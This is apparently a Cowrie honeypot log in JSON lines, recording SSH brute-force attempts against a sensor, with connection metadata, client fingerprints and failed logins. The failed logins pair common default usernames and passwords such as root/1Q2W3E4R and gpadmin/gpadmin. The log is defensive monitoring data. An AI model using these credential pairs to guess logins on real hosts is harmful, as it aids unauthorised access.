{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:49.862252Z","src_ip":"5.196.136.131","session":"5e28088d04e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:50.944255Z","src_ip":"5.196.136.131","session":"5e28088d04e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":64224,"dst_ip":"10.17.0.5","dst_port":22,"session":"90d7dd3f25a2","protocol":"ssh","message":"New connection: 5.196.136.131:64224 (10.17.0.5:22) [session: 90d7dd3f25a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:54.037196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:54.039994Z","src_ip":"5.196.136.131","session":"90d7dd3f25a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:54.117111Z","src_ip":"5.196.136.131","session":"90d7dd3f25a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:54.350638Z","src_ip":"5.196.136.131","session":"90d7dd3f25a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:55.430807Z","src_ip":"5.196.136.131","session":"90d7dd3f25a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.347657680511475,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:57.566303Z","src_ip":"170.64.224.25","session":"4485d3728fd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":38292,"dst_ip":"10.17.0.5","dst_port":22,"session":"7aa499623793","protocol":"ssh","message":"New connection: 5.196.136.131:38292 (10.17.0.5:22) [session: 7aa499623793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:58.468807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:58.472024Z","src_ip":"5.196.136.131","session":"7aa499623793","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:58.548969Z","src_ip":"5.196.136.131","session":"7aa499623793","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:58.784523Z","src_ip":"5.196.136.131","session":"7aa499623793","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:33:59.864952Z","src_ip":"5.196.136.131","session":"7aa499623793","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":47196,"dst_ip":"10.17.0.5","dst_port":22,"session":"a09a1f4dfeb6","protocol":"ssh","message":"New connection: 5.196.136.131:47196 (10.17.0.5:22) [session: a09a1f4dfeb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:02.908079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:02.911827Z","src_ip":"5.196.136.131","session":"a09a1f4dfeb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:02.989091Z","src_ip":"5.196.136.131","session":"a09a1f4dfeb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:03.223849Z","src_ip":"5.196.136.131","session":"a09a1f4dfeb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:04.304799Z","src_ip":"5.196.136.131","session":"a09a1f4dfeb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":31160,"dst_ip":"10.17.0.5","dst_port":22,"session":"321515f1a663","protocol":"ssh","message":"New connection: 5.196.136.131:31160 (10.17.0.5:22) [session: 321515f1a663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:07.315058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:07.334770Z","src_ip":"5.196.136.131","session":"321515f1a663","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:07.406320Z","src_ip":"5.196.136.131","session":"321515f1a663","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:07.696029Z","src_ip":"5.196.136.131","session":"321515f1a663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:08.775330Z","src_ip":"5.196.136.131","session":"321515f1a663","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":18663,"dst_ip":"10.17.0.5","dst_port":22,"session":"c67e822e7361","protocol":"ssh","message":"New connection: 5.196.136.131:18663 (10.17.0.5:22) [session: c67e822e7361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:11.692788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:11.696472Z","src_ip":"5.196.136.131","session":"c67e822e7361","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:11.773198Z","src_ip":"5.196.136.131","session":"c67e822e7361","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:12.003788Z","src_ip":"5.196.136.131","session":"c67e822e7361","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:13.083036Z","src_ip":"5.196.136.131","session":"c67e822e7361","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":16260,"dst_ip":"10.17.0.5","dst_port":22,"session":"22f442a5a2a9","protocol":"ssh","message":"New connection: 5.196.136.131:16260 (10.17.0.5:22) [session: 22f442a5a2a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:16.117144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:16.120783Z","src_ip":"5.196.136.131","session":"22f442a5a2a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:16.195842Z","src_ip":"5.196.136.131","session":"22f442a5a2a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:16.427246Z","src_ip":"5.196.136.131","session":"22f442a5a2a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:17.505790Z","src_ip":"5.196.136.131","session":"22f442a5a2a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.118.107.37","src_port":55510,"dst_ip":"10.17.0.5","dst_port":22,"session":"da70665324af","protocol":"ssh","message":"New connection: 83.118.107.37:55510 (10.17.0.5:22) [session: da70665324af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:19.138713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:19.142825Z","src_ip":"83.118.107.37","session":"da70665324af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:19.397604Z","src_ip":"83.118.107.37","session":"da70665324af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2022!!","message":"login attempt [root/unitedstates2022!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:20.165191Z","src_ip":"83.118.107.37","session":"da70665324af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":24536,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e859f08c0f0","protocol":"ssh","message":"New connection: 5.196.136.131:24536 (10.17.0.5:22) [session: 5e859f08c0f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:20.497820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:20.501745Z","src_ip":"5.196.136.131","session":"5e859f08c0f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:20.587556Z","src_ip":"5.196.136.131","session":"5e859f08c0f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:20.876808Z","src_ip":"5.196.136.131","session":"5e859f08c0f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:21.420764Z","src_ip":"83.118.107.37","session":"da70665324af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:21.954134Z","src_ip":"5.196.136.131","session":"5e859f08c0f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":49458,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3cb27c4e363","protocol":"ssh","message":"New connection: 103.27.238.120:49458 (159.203.135.109:22) [session: b3cb27c4e363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:23.263969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:34:23.267937Z","src_ip":"103.27.238.120","session":"b3cb27c4e363","protocol":"ssh"}
